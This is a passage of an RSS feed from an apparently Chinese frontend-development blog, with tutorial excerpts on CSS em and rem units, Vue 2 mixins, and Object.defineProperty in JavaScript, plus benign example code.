&lt;/ul&gt;
&lt;h3 id="10-html-实体字符在输入表单中的应用"&gt;10. &lt;strong&gt;HTML 实体字符在输入表单中的应用&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;在表单中，如何防止特殊字符输入导致 HTML 注入攻击？&lt;/li&gt;
&lt;li&gt;使用实体字符保护表单数据的完整性和安全性。&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>单位</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-014/</link><pubDate>Thu, 10 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/css-014/</guid><description>&lt;p&gt;说起CSS单位，我们最熟悉的可能就是像素单位（px），它是一个绝对单位，也就是说一个10px的文字，放在哪里都是一样大的。单位可以影响颜色、距离、尺寸等一系列的属性。CSS中单位的形式有很多种，下面就分别来看看这些单位。 &lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-014/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="1-相对单位"&gt;1. 相对单位&lt;/h3&gt;
&lt;p&gt;相对单位就是相对于另一个长度的长度。CSS中的相对单位主要分为两大类：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;字体相对单位，他们都是根据font-size来进行计算的。常见的字体相对单位有：em、rem、ex、ch；&lt;/li&gt;
&lt;li&gt;视窗相对单位，他们都是根据视窗大小来决定的。常见的视窗相对单位有vw、vh、vmax、vmin。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面就来看看这些常见的CSS单位。&lt;/p&gt;
&lt;h4 id="1em-和-rem"&gt;（1）em 和 rem&lt;/h4&gt;
&lt;p&gt;em是最常见的相对长度单位，适合基于特定的字号进行排版。根据CSS的规定，1em 等于元素的font-size属性的值。&lt;/p&gt;
&lt;p&gt;em 是相对于父元素的字体大小进行计算的。如果当前对行内文本的字体尺寸未进行显示设置，则相对于浏览器的默认字体尺寸。当DOM元素嵌套加深时，并且同时给很多层级显式的设置了font-size的值的单位是em，那么就需要层层计算，复杂度会很高。&lt;/p&gt;
&lt;p&gt;当然，上面的这个说法是不严谨 的。来看一个例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;!&lt;/span&gt;&lt;span style="color:#f92672"&gt;DOCTYPE&lt;/span&gt; &lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; &lt;span style="color:#f92672"&gt;lang&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;en&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;meta&lt;/span&gt; &lt;span style="color:#f92672"&gt;charset&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;UTF-8&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;Document&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;title&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;parent&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; .&lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;em&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; ;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;style&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;head&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#f92672"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;parent&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#f92672"&gt;class&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;child&amp;#34;&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;子元素&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;body&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里给父元素设置了字体大小为20px，然后给子元素的border宽度设置为1em，这时，子元素的border值为20px，确实是相对于父元素的字体大小设置的：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-014/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;那如果我们给子元素的字体设置为30px：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;em&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; ;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这时可以看到，子元素的边框宽度就是30px，它是相对自己大小进行计算的：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/css-014/image-03.webp"&gt;&lt;/p&gt;
&lt;p&gt;所以，可以得出结论：&lt;strong&gt;如果自身元素是没有设置字体大小的，那么就会根据其父元素的字体大小作为参照去计算，如果元素本身已经设置了字体，那么就会基于自身的字体大小进行计算&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;em单位除了可以作用于 font-size之外，还可以运用于其他使用长度的属性，比如border-width、width、height、margin、padding、text-shadow等。&lt;/p&gt;
&lt;p&gt;所以，em的使用还是比较复杂的，它可能会继承任意一级父元素的字体大小。需要谨慎使用。&lt;/p&gt;
&lt;p&gt;rem相对于em就简单了很多，它是根据页面的根元素（根元素）的字体大小来计算的。来对上面的例子进行修改：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.&lt;span style="color:#a6e22e"&gt;child&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;30&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;border&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;rem&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;solid&lt;/span&gt; ;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;html&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;效果如下，可以看到，边框的长度变成了25px，它是根据根元素html的字体大小计算的：&lt;/p&gt;</description></item><item><title>mixin-混入</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-014/</link><pubDate>Sat, 05 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-014/</guid><description>&lt;h2 id="1-什么是mixin"&gt;1. 什么是Mixin？&lt;/h2&gt;
&lt;p&gt;想要使用一个事物或者工具，我们首要先了解它是什么，这样我们才好对症下药。&lt;/p&gt;
&lt;p&gt;其实Mixin不是Vue专属的，可以说它是一种思想，也可以说它就是混入的意思，在很多开发框架中都实现了Mixin(混入)，我们这里主要讲解的是Vue中的Mixin。&lt;/p&gt;
&lt;p&gt;老规矩，先看官方文档。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;官方解释：&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;混入 (mixin) 提供了一种非常灵活的方式，来分发 Vue 组件中的可复用功能。一个混入对象可以包含任意组件选项。当组件使用混入对象时，所有混入对象的选项将被“混合”进入该组件本身的选项。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;官方的解释通常都是晦涩难懂的，因为要专业和准确嘛！&lt;/p&gt;
&lt;p&gt;我们可以用我们自己容易理解的话来说说Vue中的Mixin是什么。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;民间解释：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;将组件的公共逻辑或者配置提取出来，哪个组件需要用到时，直接将提取的这部分混入到组件内部即可。这样既可以减少代码冗余度，也可以让后期维护起来更加容易。&lt;/p&gt;
&lt;p&gt;这里需要注意的是：提取的是逻辑或配置，而不是HTML代码和CSS代码。其实大家也可以换一种想法，mixin就是组件中的组件，Vue组件化让我们的代码复用性更高，那么组件与组件之间还有重复部分，我们使用Mixin在抽离一遍。&lt;/p&gt;
&lt;h2 id="2-mixin和vuex的区别"&gt;2. Mixin和Vuex的区别？&lt;/h2&gt;
&lt;p&gt;上面一点说Mixin就是一个抽离公共部分的作用。在Vue中，Vuex状态管理似乎也是做的这一件事，它也是将组件之间可能共享的数据抽离出来。两者看似一样，实则还是有细微的区别，区别如下：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Vuex公共状态管理，如果在一个组件中更改了Vuex中的某个数据，那么其它所有引用了Vuex中该数据的组件也会跟着变化。&lt;/li&gt;
&lt;li&gt;Mixin中的数据和方法都是独立的，组件之间使用后是互相不影响的。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="3-如何使用"&gt;3. 如何使用？&lt;/h2&gt;
&lt;p&gt;我们了解了Mixin的概念，那么如何使用它呢？这才是我们的重点。&lt;/p&gt;
&lt;h3 id="31-准备工作"&gt;3.1 准备工作&lt;/h3&gt;
&lt;p&gt;接下来我们的mixin就放在Vue2.x的脚手架项目中演示。&lt;/p&gt;
&lt;p&gt;利用Vue-cli初始化一个最简单的项目：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-014/image-01.webp"&gt;&lt;/p&gt;
&lt;h3 id="31-mixin定义"&gt;3.1 mixin定义&lt;/h3&gt;
&lt;p&gt;定义mixin也非常简单，它就是一个对象而已，只不过这个对象里面可以包含Vue组件中的一些常见配置，如data、methods、created等等。&lt;/p&gt;
&lt;p&gt;在我们的项目src目录下新建mixin文件夹，然后新建index.js文件，该文件存放我们的mixin代码。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;代码如下：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// src/mixin/index.js
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mixins&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;computed&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;created&lt;/span&gt;() {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mounted&lt;/span&gt;() {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;methods&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-014/image-02.webp"&gt;&lt;/p&gt;
&lt;p&gt;可以看到我们的mixin非常的简单，主要包含了一个Vue组件的常见的逻辑结构。&lt;/p&gt;
&lt;p&gt;接下来让我们在mixin中简单的写点东西，&lt;strong&gt;代码如下：&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mixins&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;data&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;msg&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;我是小猪课堂&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; };
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;computed&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {},
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;created&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;我是mixin中的created生命周期函数&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;mounted&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;我是mixin中的mounted生命周期函数&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;methods&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;clickMe&lt;/span&gt;() {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;console&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;log&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#34;我是mixin中的点击事件&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="32-局部混入"&gt;3.2 局部混入&lt;/h3&gt;
&lt;p&gt;我们的公共mixin定义好后，最重要就是如何使用它。根据不同的业务场景，我们可以分为两种：局部混入和全局混入。顾名思义，局部混入和组件的按需加载有点类似，就是需要用到mixin中的代码时，我们再在组件章引入它。全局混入的话，则代表我在项目的任何组件中都可以使用mixin。&lt;/p&gt;</description></item><item><title>defineProperty 与 proxy</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-014/</link><pubDate>Wed, 02 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-014/</guid><description>&lt;h2 id="前言"&gt;前言&lt;/h2&gt;
&lt;p&gt;我们或多或少都听过“数据绑定”这个词，“数据绑定”的关键在于监听数据的变化，可是对于这样一个对象：&lt;code&gt;var obj = {value: 1}&lt;/code&gt;，我们该怎么知道 obj 发生了改变呢？&lt;/p&gt;
&lt;h2 id="definepropety"&gt;definePropety&lt;/h2&gt;
&lt;p&gt;ES5 提供了 Object.defineProperty 方法，该方法可以在一个对象上定义一个新属性，或者修改一个对象的现有属性，并返回这个对象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;语法&lt;/strong&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Object.defineProperty(obj, prop, descriptor)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;参数&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-makefile" data-lang="makefile"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 要在其上定义属性的对象。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;prop&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 要定义或修改的属性的名称。
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;descriptor&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; 将被定义或修改的属性的描述符。
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;举个例子：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {};
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Object.&lt;span style="color:#a6e22e"&gt;defineProperty&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;obj&lt;/span&gt;, &lt;span style="color:#e6db74"&gt;&amp;#34;num&amp;#34;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;writable&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;enumerable&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;configurable&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 对象 obj 拥有属性 num，值为 1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;虽然我们可以直接添加属性和值，但是使用这种方式，我们能进行更多的配置。&lt;/p&gt;
&lt;p&gt;函数的第三个参数 descriptor 所表示的属性描述符有两种形式：&lt;strong&gt;数据描述符和存取描述符&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;两者均具有以下两种键值&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;configurable&lt;/strong&gt;&lt;/p&gt;
